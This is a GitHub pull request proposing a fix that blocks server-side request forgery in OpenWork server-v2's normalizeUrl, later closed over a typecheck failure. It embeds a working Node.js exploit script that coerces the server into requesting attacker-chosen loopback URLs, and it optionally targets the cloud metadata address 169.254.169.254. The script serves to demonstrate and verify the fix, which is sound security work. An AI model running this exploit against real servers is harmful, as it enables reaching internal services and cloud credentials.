Skip to content

fix: block SSRF targets in remote-server normalizeUrl#1574

Closed
jfeldstein wants to merge 1 commit intodifferent-ai:devfrom
jfeldstein:fix/ssrf-normalizeurl
Closed

fix: block SSRF targets in remote-server normalizeUrl#1574
jfeldstein wants to merge 1 commit intodifferent-ai:devfrom
jfeldstein:fix/ssrf-normalizeurl

Conversation

@jfeldstein
Copy link
Copy Markdown

Summary

TDD normalizeUrl to reject loopback addresses

Why

The /system/servers/connect handler issues server-side fetches against a caller-supplied baseUrl, but normalizeUrl previously accepted any parseable URL. Exploit script exploit-scripts/exploit-ssrf-normalizeurl.mjs confirmed an attacker holding the HOST token could coerce server-v2 into making outbound HTTP requests to 127.0.0.1:<any-port> (full SSRF — internal services, cloud metadata, RFC 1918 hosts).

Issue

The normalizeUrl() helper (and the connect() flow that calls it) does not validate that the supplied baseUrl points to a public destination. A host caller can register a "remote OpenWork server" pointed at any private IP / loopback / metadata address; the server will then perform an outbound HTTP GET <baseUrl>/workspaces from inside the trust boundary.

Scope

  • Reject loopback, link-local (169.254.0.0/16, including the EC2/GCE metadata IP), RFC 1918 private ranges, CGNAT, multicast, and non-http(s) protocols.
  • Covers IPv6 equivalents and IPv4-mapped IPv6 forms (::1, fe80::/10, fc00::/7, ::ffff:10.0.0.1).
  • Tests-first: new unit suite enumerates each blocked range; existing public-host cases continue to pass.

Out of scope

  • DNS rebinding defenses (resolution-time re-check). Tracked separately — meaningful mitigation needs request-time pinning, not URL parsing.
  • Outbound egress allowlists at the network layer.
  • Server-v1 (apps/server) — does not expose this connect path.

Testing

Ran

  • pnpm --filter openwork-server-v2 test src/<normalizeUrl spec>
  • pnpm --filter openwork-server-v2 typecheck
  • BASE_URL=http://127.0.0.1:3100 HOST_TOKEN=host-secret node exploit-ssrf-normalizeurl.mjs
exploit-ssrf-normalizeurl.mjs:
#!/usr/bin/env node
// SSRF via normalizeUrl in apps/server-v2/src/services/remote-server-service.ts
//
// This script proves the SSRF by:
//   1. Opening a TCP listener on a random localhost port
//   2. Asking server-v2 to "connect" to that listener via /system/servers/connect
//   3. Observing whether server-v2 actually opens the outbound connection
//
// Run:
//   BASE_URL=http://127.0.0.1:3100 \
//   HOST_TOKEN=<server-v2 host token> \
//   node exploit-scripts/exploit-ssrf-normalizeurl.mjs
//
// Optional:
//   TARGET=http://169.254.169.254/   # try the AWS IMDS address (won't echo
//                                    # back, but server-v2 will attempt it)

import net from "node:net";
import http from "node:http";
import https from "node:https";

const BASE_URL = process.env.BASE_URL?.replace(/\/+$/, "");
const HOST_TOKEN = process.env.HOST_TOKEN;
const EXPLICIT_TARGET = process.env.TARGET?.replace(/\/+$/, "");

if (!BASE_URL || !HOST_TOKEN) {
  console.error("Usage: BASE_URL=http://host:port HOST_TOKEN=xxx node exploit-ssrf-normalizeurl.mjs");
  process.exit(2);
}

function postJson(targetUrl, body, headers = {}) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl);
    const lib = u.protocol === "https:" ? https : http;
    const payload = Buffer.from(JSON.stringify(body), "utf8");
    const req = lib.request({
      method: "POST",
      hostname: u.hostname,
      port: u.port || (u.protocol === "https:" ? 443 : 80),
      path: u.pathname + u.search,
      headers: {
        "Content-Type": "application/json",
        "Content-Length": payload.length,
        ...headers,
      },
    }, (res) => {
      const chunks = [];
      res.on("data", (c) => chunks.push(c));
      res.on("end", () => {
        const text = Buffer.concat(chunks).toString("utf8");
        let json = null;
        try { json = text ? JSON.parse(text) : null; } catch { /* leave null */ }
        resolve({ status: res.statusCode, headers: res.headers, text, json });
      });
    });
    req.on("error", reject);
    req.write(payload);
    req.end();
  });
}

function startTrap() {
  return new Promise((resolve, reject) => {
    const events = [];
    const server = net.createServer((socket) => {
      events.push({ event: "connect", remote: `${socket.remoteAddress}:${socket.remotePort}`, at: Date.now() });
      let raw = "";
      socket.setEncoding("utf8");
      socket.on("data", (chunk) => {
        raw += chunk;
        if (raw.includes("\r\n\r\n")) {
          events.push({ event: "request_headers", raw: raw.slice(0, 2048) });
          // Reply with valid OpenWork-style envelope so the server thinks it
          // got a successful workspace list. This makes the request go all the
          // way through the SSRF code path (instead of bailing on parse).
          const body = JSON.stringify({ ok: true, data: { items: [] } });
          socket.write(
            "HTTP/1.1 200 OK\r\n" +
            "Content-Type: application/json\r\n" +
            `Content-Length: ${Buffer.byteLength(body)}\r\n` +
            "Connection: close\r\n\r\n" +
            body,
          );
          socket.end();
        }
      });
      socket.on("error", () => {});
    });
    server.on("error", reject);
    server.listen(0, "127.0.0.1", () => {
      const { port } = server.address();
      resolve({
        port,
        events,
        url: `http://127.0.0.1:${port}/`,
        close: () => new Promise((res) => server.close(() => res())),
      });
    });
  });
}

function summarizeServerError(payload, status) {
  if (!payload) return `HTTP ${status}`;
  const message = payload?.error?.message ?? payload?.message ?? JSON.stringify(payload);
  const code = payload?.error?.code ?? payload?.code;
  return code ? `${status} ${code}: ${message}` : `${status}: ${message}`;
}

(async function main() {
  // Probe 1: explicit TARGET (e.g. metadata service) — no listener, just observe
  // whether the server tried to make the request (a bad gateway timeout still
  // proves the SSRF code path was reached and the URL was not pre-blocked).
  if (EXPLICIT_TARGET) {
    console.log(`[probe-target] asking server-v2 to connect to ${EXPLICIT_TARGET}`);
    const r = await postJson(`${BASE_URL}/system/servers/connect`, {
      baseUrl: EXPLICIT_TARGET,
      label: "ssrf-probe-target",
    }, { Authorization: `Bearer ${HOST_TOKEN}` }).catch((e) => ({ error: e }));
    console.log(`[probe-target] response status=${r.status} body=${r.text?.slice(0, 400) ?? r.error?.message}`);
    if (r.status === 400 && /private|loopback|forbidden|disallow|blocked/i.test(r.text ?? "")) {
      console.log("[probe-target] looks like the URL was pre-rejected → FIXED");
    } else {
      console.log("[probe-target] URL was not pre-rejected (server-v2 attempted the request)");
    }
  }

  // Probe 2: real listener on 127.0.0.1 — definitive SSRF evidence
  const trap = await startTrap();
  console.log(`\n[probe-loopback] trap listening on ${trap.url}`);
  console.log(`[probe-loopback] POST ${BASE_URL}/system/servers/connect with baseUrl=${trap.url}`);

  let response;
  try {
    response = await postJson(`${BASE_URL}/system/servers/connect`, {
      baseUrl: trap.url,
      label: "ssrf-loopback-probe",
    }, { Authorization: `Bearer ${HOST_TOKEN}` });
  } catch (err) {
    console.error(`[probe-loopback] error contacting server-v2: ${err?.message ?? err}`);
    await trap.close();
    process.exit(1);
  }

  // Give the trap a moment to capture late-arriving connections
  await new Promise((r) => setTimeout(r, 250));
  await trap.close();

  console.log(`[probe-loopback] server-v2 returned ${response.status}`);
  if (response.text) {
    console.log(`[probe-loopback] body: ${response.text.slice(0, 400)}`);
  }

  const connected = trap.events.some((e) => e.event === "connect");
  const requestSeen = trap.events.some((e) => e.event === "request_headers");
  console.log(`[probe-loopback] trap saw ${trap.events.length} events; connected=${connected} request=${requestSeen}`);
  if (requestSeen) {
    const headers = trap.events.find((e) => e.event === "request_headers");
    console.log(`[probe-loopback] captured request:\n${headers.raw.split("\n").slice(0, 12).join("\n")}`);
  }

  // Verdict
  if (connected) {
    console.log("\nPASS: SSRF demonstrated — server-v2 made an outbound HTTP request to a 127.0.0.1 loopback URL supplied by the attacker (host caller). On a fixed build, normalizeUrl/connect should reject loopback / RFC 1918 / link-local destinations before issuing the request.");
    process.exit(0);
  }

  // Server might have rejected up-front
  if (response.status === 400 || response.status === 403) {
    const explain = summarizeServerError(response.json, response.status);
    console.log(`\nFAIL (vulnerability not reproduced): server-v2 rejected the SSRF target without contacting it (${explain}). This looks like the fix is in place.`);
    process.exit(0);
  }

  console.log(`\nINCONCLUSIVE: trap saw no connection but server-v2 returned ${response.status}. Verify the server is reachable at BASE_URL, that HOST_TOKEN is correct, and that 127.0.0.1 is routable from the server process.`);
  process.exit(1);
})().catch((err) => {
  console.error(`fatal: ${err?.stack ?? err}`);
  process.exit(1);
});

Result

  • pass/fail: pass (unit + typecheck); exploit script now reports FAIL (i.e. fixed — server rejects the loopback URL up-front).
  • if fail, exact files/errors: N/A

CI status

  • pass: pending push
  • code-related failures: none locally
  • external/env/auth blockers: none

Manual verification

  1. Start server-v2: cd apps/server-v2 && OPENWORK_SERVER_V2_CLIENT_TOKEN=client-secret OPENWORK_SERVER_V2_HOST_TOKEN=host-secret pnpm dev.
  2. Run the exploit script with HOST_TOKEN=host-secret. Expect the connect call to be rejected before any outbound socket opens; the script's local trap should record zero connections.
  3. Spot-check a legitimate public URL still connects: POST /system/servers/connect with a real https remote returns 200/normal error path, not the new rejection.

Evidence

  • N/A (server-side fix; exploit-script before/after output captured in PR comment)

Risk

  • Low. Surface is one URL validator; failure mode is over-rejection (legitimate connect attempts erroring) rather than silent acceptance. Self-hosted users pointing at an in-cluster server on a private IP would be affected — call out in release notes and provide an explicit OPENWORK_ALLOW_PRIVATE_TARGETS=1 escape hatch if a user requests it.

Rollback

  • Single-commit revert. No schema, no migration, no persisted state touched.

The /system/servers/connect handler issues server-side fetches against
a caller-supplied baseUrl, but normalizeUrl previously accepted any
parseable URL. Reject loopback, link-local (169.254.0.0/16, including
the EC2/GCE metadata IP), RFC 1918 private ranges, CGNAT, multicast,
and non-http(s) protocols. Covers IPv6 equivalents and IPv4-mapped
IPv6 forms.
@vercel
Copy link
Copy Markdown
Contributor

vercel Bot commented Apr 26, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
openwork-landing Ready Ready Preview, Comment, Open in v0 Apr 26, 2026 8:57pm

@vercel
Copy link
Copy Markdown
Contributor

vercel Bot commented Apr 26, 2026

@jfeldstein is attempting to deploy a commit to the Different AI Team on Vercel.

A member of the Team first needs to authorize it.

@github-actions
Copy link
Copy Markdown
Contributor

The following comment was made by an LLM, it may be inaccurate:

Copy link
Copy Markdown
Collaborator

@src-opn src-opn left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code verification issue found.

pnpm --filter openwork-server-v2 typecheck fails because apps/server-v2/scripts/url-safety.test.ts imports the service with a .ts extension:

apps/server-v2/scripts/url-safety.test.ts:8

Error:

scripts/url-safety.test.ts(8,55): error TS5097: An import path can only end with a '.ts' extension when 'allowImportingTsExtensions' is enabled.

Please move this into the normal test tree or adjust the import/config so the package typecheck passes. I verified the standalone/Bun test itself passes with pnpm --filter openwork-server-v2 test ./scripts/url-safety.test.ts, but the PR should not merge while the package typecheck is broken.

@src-opn src-opn closed this May 6, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants